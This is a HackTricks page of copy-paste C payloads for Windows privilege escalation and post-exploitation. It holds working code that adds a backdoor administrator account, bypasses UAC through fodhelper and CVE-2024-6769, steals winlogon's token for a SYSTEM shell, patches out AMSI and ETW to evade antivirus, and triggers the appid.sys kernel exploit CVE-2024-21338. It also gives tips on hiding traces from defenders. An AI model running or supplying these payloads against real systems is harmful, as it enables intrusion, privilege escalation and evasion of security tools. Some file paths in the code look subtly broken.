windows-c-payloads.md (15312B)
1 --- 2 title: "Windows C Payloads" 3 section: "Windows" 4 sectionSlug: "windows-hardening" 5 sourcePath: "src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Windows C Payloads 14 15 This page collects **small, self-contained C snippets** that are handy during Windows Local Privilege Escalation or post-exploitation. Each payload is designed to be **copy-paste friendly**, requires only the Windows API / C runtime, and can be compiled with `i686-w64-mingw32-gcc` (x86) or `x86_64-w64-mingw32-gcc` (x64). 16 17 > ⚠️ These payloads assume that the process already has the minimum privileges necessary to perform the action (e.g. `SeDebugPrivilege`, `SeImpersonatePrivilege`, or medium-integrity context for a UAC bypass). They are intended for **red-team or CTF settings** where exploiting a vulnerability has landed arbitrary native code execution. 18 19 --- 20 21 ## Add local administrator user 22 23 ```c 24 // i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c 25 #include <stdlib.h> 26 int main(void) { 27 system("net user hacker Hacker123! /add"); 28 system("net localgroup administrators hacker /add"); 29 return 0; 30 } 31 ``` 32 33 --- 34 35 ## UAC Bypass – `fodhelper.exe` Registry Hijack (Medium → High integrity) 36 When the trusted binary **`fodhelper.exe`** is executed, it queries the registry path below **without filtering the `DelegateExecute` verb**. By planting our command under that key an attacker can bypass UAC *without* dropping a file to disk.<sup>[[1]](#references)</sup> 37 38 *Registry path queried by `fodhelper.exe`* 39 ```text 40 HKCU\Software\Classes\ms-settings\Shell\Open\command 41 ``` 42 A minimal PoC that pops an elevated `cmd.exe`: 43 44 ```c 45 // x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c 46 #define _CRT_SECURE_NO_WARNINGS 47 #include <windows.h> 48 #include <stdlib.h> 49 #include <stdio.h> 50 #include <string.h> 51 52 int main(void) { 53 HKEY hKey; 54 const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command 55 56 // 1. Create the vulnerable registry key 57 if (RegCreateKeyExA(HKEY_CURRENT_USER, 58 "Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0, 59 KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) { 60 61 // 2. Set default value => our payload 62 RegSetValueExA(hKey, NULL, 0, REG_SZ, 63 (const BYTE*)payload, (DWORD)strlen(payload) + 1); 64 65 // 3. Empty "DelegateExecute" value = trigger (") 66 RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ, 67 (const BYTE*)"", 1); 68 69 RegCloseKey(hKey); 70 71 // 4. Launch auto-elevated binary 72 system("fodhelper.exe"); 73 } 74 return 0; 75 } 76 ``` 77 *Tested on Windows 10 22H2 and Windows 11 23H2 (July 2025 patches). The bypass still works because Microsoft has not fixed the missing integrity check in the `DelegateExecute` path.* 78 79 --- 80 81 ## UAC Bypass – Activation Context Cache Poisoning (`ctfmon.exe`, CVE-2024-6769) 82 Drive remapping + activation context cache poisoning still works against patched Windows 10/11 builds because `ctfmon.exe` runs as a high-integrity trusted UI process that happily loads from the caller’s impersonated `C:` drive and reuses whatever DLL redirections `CSRSS` has cached. Abuse goes as follows: re-point `C:` at attacker-controlled storage, drop a trojanized `msctf.dll`, launch `ctfmon.exe` to gain high integrity, then ask `CSRSS` to cache a manifest that redirects a DLL used by an auto-elevated binary (e.g., `fodhelper.exe`) so the next launch inherits your payload without a UAC prompt.<sup>[[5]](#references)</sup> 83 84 Practical workflow: 85 1. Prepare a fake `%SystemRoot%\System32` tree and copy the legitimate binary you plan to hijack (often `ctfmon.exe`). 86 2. Use `DefineDosDevice(DDD_RAW_TARGET_PATH)` to remap `C:` inside your process, keeping `DDD_NO_BROADCAST_SYSTEM` so the change stays local. 87 3. Drop your DLL + manifest into the fake tree, call `CreateActCtx/ActivateActCtx` to push the manifest into the activation-context cache, then launch the auto-elevated binary so it resolves the redirected DLL straight into your shellcode. 88 4. Delete the cache entry (`sxstrace ClearCache`) or reboot when finished to erase attacker fingerprints. 89 90 <details> 91 <summary>C - Fake drive + manifest poison helper (CVE-2024-6769)</summary> 92 93 ```c 94 #define WIN32_LEAN_AND_MEAN 95 #include <windows.h> 96 #include <shlwapi.h> 97 #pragma comment(lib, "shlwapi.lib") 98 99 BOOL WriteWideFile(const wchar_t *path, const wchar_t *data) { 100 HANDLE h = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 101 if (h == INVALID_HANDLE_VALUE) return FALSE; 102 DWORD bytes = (DWORD)(wcslen(data) * sizeof(wchar_t)); 103 BOOL ok = WriteFile(h, data, bytes, &bytes, NULL); 104 CloseHandle(h); 105 return ok; 106 } 107 108 int wmain(void) { 109 const wchar_t *stage = L"C:\\Users\\Public\\fakeC\\Windows\\System32"; 110 SHCreateDirectoryExW(NULL, stage, NULL); 111 CopyFileW(L"C:\\Windows\\System32\\ctfmon.exe", L"C:\\Users\\Public\\fakeC\\Windows\\System32\\ctfmon.exe", FALSE); 112 CopyFileW(L".\\msctf.dll", L"C:\\Users\\Public\\fakeC\\Windows\\System32\\msctf.dll", FALSE); 113 114 DefineDosDeviceW(DDD_RAW_TARGET_PATH | DDD_NO_BROADCAST_SYSTEM, 115 L"C:", L"\\??\\C:\\Users\\Public\\fakeC"); 116 117 const wchar_t manifest[] = 118 L"<?xml version='1.0' encoding='UTF-8' standalone='yes'?>" 119 L"<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>" 120 L" <dependency><dependentAssembly>" 121 L" <assemblyIdentity name='Microsoft.Windows.Common-Controls' version='6.0.0.0'" 122 L" processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*' />" 123 L" <file name='advapi32.dll' loadFrom='C:\\Users\\Public\\fakeC\\Windows\\System32\\msctf.dll' />" 124 L" </dependentAssembly></dependency></assembly>"; 125 WriteWideFile(L"C:\\Users\\Public\\fakeC\\payload.manifest", manifest); 126 127 ACTCTXW act = { sizeof(act) }; 128 act.lpSource = L"C:\\Users\\Public\\fakeC\\payload.manifest"; 129 ULONG_PTR cookie = 0; 130 HANDLE ctx = CreateActCtxW(&act); 131 ActivateActCtx(ctx, &cookie); 132 133 STARTUPINFOW si = { sizeof(si) }; 134 PROCESS_INFORMATION pi = { 0 }; 135 CreateProcessW(L"C:\\Windows\\System32\\ctfmon.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); 136 137 WaitForSingleObject(pi.hProcess, 2000); 138 DefineDosDeviceW(DDD_REMOVE_DEFINITION, L"C:", L"\\??\\C:\\Users\\Public\\fakeC"); 139 return 0; 140 } 141 ``` 142 143 </details> 144 145 Cleanup tip: after popping SYSTEM, call `sxstrace Trace -logfile %TEMP%\sxstrace.etl` followed by `sxstrace Parse` when testing—if you see your manifest name in the log, defenders can too, so rotate paths each run. 146 147 --- 148 149 ## Spawn SYSTEM shell via token duplication (`SeDebugPrivilege` + `SeImpersonatePrivilege`) 150 If the current process holds **both** `SeDebug` and `SeImpersonate` privileges (typical for many service accounts), you can steal the token from `winlogon.exe`, duplicate it, and start an elevated process: 151 152 ```c 153 // x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32 154 #include <windows.h> 155 #include <tlhelp32.h> 156 #include <stdio.h> 157 158 DWORD FindPid(const wchar_t *name) { 159 PROCESSENTRY32W pe = { .dwSize = sizeof(pe) }; 160 HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); 161 if (snap == INVALID_HANDLE_VALUE) return 0; 162 if (!Process32FirstW(snap, &pe)) return 0; 163 do { 164 if (!_wcsicmp(pe.szExeFile, name)) { 165 DWORD pid = pe.th32ProcessID; 166 CloseHandle(snap); 167 return pid; 168 } 169 } while (Process32NextW(snap, &pe)); 170 CloseHandle(snap); 171 return 0; 172 } 173 174 int wmain(void) { 175 DWORD pid = FindPid(L"winlogon.exe"); 176 if (!pid) return 1; 177 178 HANDLE hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); 179 HANDLE hToken = NULL, dupToken = NULL; 180 181 if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) && 182 DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) { 183 184 STARTUPINFOW si = { .cb = sizeof(si) }; 185 PROCESS_INFORMATION pi = { 0 }; 186 if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE, 187 L"C\\\\Windows\\\\System32\\\\cmd.exe", NULL, CREATE_NEW_CONSOLE, 188 NULL, NULL, &si, &pi)) { 189 CloseHandle(pi.hProcess); 190 CloseHandle(pi.hThread); 191 } 192 } 193 if (hProc) CloseHandle(hProc); 194 if (hToken) CloseHandle(hToken); 195 if (dupToken) CloseHandle(dupToken); 196 return 0; 197 } 198 ``` 199 For a deeper explanation of how that works see: 200 201 [Sedebug + Seimpersonate Copy Token](/hacktricks/windows-hardening/windows-local-privilege-escalation/sedebug-seimpersonate-copy-token) 202 203 --- 204 205 ## In-Memory AMSI & ETW Patch (Defence Evasion) 206 Most modern AV/EDR engines rely on **AMSI** and **ETW** to inspect malicious behaviours. Patching both interfaces early inside the current process prevents script-based payloads (e.g. PowerShell, JScript) from being scanned.<sup>[[2]](#references)</sup> 207 208 ```c 209 // gcc -o patch_amsi.exe patch_amsi.c -lntdll 210 #define _CRT_SECURE_NO_WARNINGS 211 #include <windows.h> 212 #include <stdio.h> 213 214 void Patch(BYTE *address) { 215 DWORD oldProt; 216 // mov eax, 0x80070057 ; ret (AMSI_RESULT_E_INVALIDARG) 217 BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; 218 VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt); 219 memcpy(address, patch, sizeof(patch)); 220 VirtualProtect(address, sizeof(patch), oldProt, &oldProt); 221 } 222 223 int main(void) { 224 HMODULE amsi = LoadLibraryA("amsi.dll"); 225 HMODULE ntdll = GetModuleHandleA("ntdll.dll"); 226 227 if (amsi) Patch((BYTE*)GetProcAddress(amsi, "AmsiScanBuffer")); 228 if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite")); 229 230 MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK); 231 return 0; 232 } 233 ``` 234 *The patch above is process-local; spawning a new PowerShell after running it will execute without AMSI/ETW inspection.* 235 236 --- 237 238 ## Create child as Protected Process Light (PPL) 239 Request a PPL protection level for a child at creation time using `STARTUPINFOEX` + `PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL`. This is a documented API and will only succeed if the target image is signed for the requested signer class (Windows/WindowsLight/Antimalware/LSA/WinTcb).<sup>[[3]](#references)[[4]](#references)</sup> 240 241 ```c 242 // x86_64-w64-mingw32-gcc -O2 -o spawn_ppl.exe spawn_ppl.c 243 #include <windows.h> 244 245 int wmain(void) { 246 STARTUPINFOEXW si = {0}; 247 PROCESS_INFORMATION pi = {0}; 248 si.StartupInfo.cb = sizeof(si); 249 250 SIZE_T attrSize = 0; 251 InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize); 252 si.lpAttributeList = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attrSize); 253 InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize); 254 255 DWORD lvl = PROTECTION_LEVEL_ANTIMALWARE_LIGHT; // choose the desired level 256 UpdateProcThreadAttribute(si.lpAttributeList, 0, 257 PROC_THREAD_ATTRIBUTE_PROTECTION_LEVEL, 258 &lvl, sizeof(lvl), NULL, NULL); 259 260 if (!CreateProcessW(L"C\\\Windows\\\System32\\\notepad.exe", NULL, NULL, NULL, FALSE, 261 EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi)) { 262 // likely ERROR_INVALID_IMAGE_HASH (577) if the image is not properly signed for that level 263 return 1; 264 } 265 DeleteProcThreadAttributeList(si.lpAttributeList); 266 HeapFree(GetProcessHeap(), 0, si.lpAttributeList); 267 CloseHandle(pi.hThread); 268 CloseHandle(pi.hProcess); 269 return 0; 270 } 271 ``` 272 273 Levels used most commonly: 274 - `PROTECTION_LEVEL_WINDOWS_LIGHT` (2) 275 - `PROTECTION_LEVEL_ANTIMALWARE_LIGHT` (3) 276 - `PROTECTION_LEVEL_LSA_LIGHT` (4) 277 278 Validate the result with Process Explorer/Process Hacker by checking the Protection column. 279 280 --- 281 282 ## Local Service -> Kernel via `appid.sys` Smart-Hash (`IOCTL 0x22A018`, CVE-2024-21338) 283 `appid.sys` exposes a device object (`\\.\\AppID`) whose smart-hash maintenance IOCTL accepts user-supplied function pointers whenever the caller runs as `LOCAL SERVICE`; Lazarus is abusing that to disable PPL and load arbitrary drivers, so red teams should have a ready-made trigger for lab use.<sup>[[6]](#references)</sup> 284 285 Operational notes: 286 - You still need a `LOCAL SERVICE` token. Steal it from `Schedule` or `WdiServiceHost` using `SeImpersonatePrivilege`, then impersonate before touching the device so ACL checks pass. 287 - IOCTL `0x22A018` expects a struct containing two callback pointers (query length + read function). Point both at user-mode stubs that craft a token overwrite or map ring-0 primitives, but keep the buffers RWX so KernelPatchGuard does not crash mid-chain. 288 - After success, drop out of impersonation and revert the device handle; defenders now look for unexpected `Device\\AppID` handles, so close it immediately once privilege is gained. 289 290 <details> 291 <summary>C - Skeleton trigger for `appid.sys` smart-hash abuse</summary> 292 293 ```c 294 #define WIN32_LEAN_AND_MEAN 295 #include <windows.h> 296 #include <stdio.h> 297 298 typedef struct _APPID_SMART_HASH { 299 ULONGLONG UnknownCtx[4]; 300 PVOID QuerySize; // called first 301 PVOID ReadBuffer; // called with size returned above 302 BYTE Reserved[0x40]; 303 } APPID_SMART_HASH; 304 305 DWORD WINAPI KernelThunk(PVOID ctx) { 306 // map SYSTEM shellcode, steal token, etc. 307 return 0; 308 } 309 310 int wmain(void) { 311 HANDLE hDev = CreateFileW(L"\\\\.\\AppID", GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); 312 if (hDev == INVALID_HANDLE_VALUE) { 313 printf("[-] CreateFileW failed: %lu\n", GetLastError()); 314 return 1; 315 } 316 317 APPID_SMART_HASH in = {0}; 318 in.QuerySize = KernelThunk; 319 in.ReadBuffer = KernelThunk; 320 321 DWORD bytes = 0; 322 if (!DeviceIoControl(hDev, 0x22A018, &in, sizeof(in), NULL, 0, &bytes, NULL)) { 323 printf("[-] DeviceIoControl failed: %lu\n", GetLastError()); 324 } 325 CloseHandle(hDev); 326 return 0; 327 } 328 ``` 329 330 </details> 331 332 Minimal fix-up for a weaponized build: map an RWX section with `VirtualAlloc`, copy your token duplication stub there, set `KernelThunk = section`, and once `DeviceIoControl` returns you should be SYSTEM even under PPL. 333 334 --- 335 336 ## References 337 338 - [1] [First entry: Welcome and fileless UAC bypass (fodhelper.exe / ms-settings DelegateExecute)](https://winscripting.blog/2017/05/12/first-entry-welcome-and-uac-bypass/) 339 - [2] [Memory Patching AMSI Bypass](https://rastamouse.me/memory-patching-amsi-bypass/) 340 - [3] [CreateProcessAsPPL – minimal PPL process launcher](https://github.com/2x7EQ13/CreateProcessAsPPL) 341 - [4] [UpdateProcThreadAttribute function (Win32 apps) - Microsoft Learn](https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-updateprocthreadattribute) 342 - [5] [Novel Exploit Chain Enables Windows UAC Bypass](https://www.darkreading.com/vulnerabilities-threats/exploit-chain-windows-uac-bypass) 343 - [6] [Lazarus and the FudModule Rootkit: Beyond BYOVD with an Admin-to-Kernel Zero-Day](https://www.gendigital.com/blog/insights/research/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day)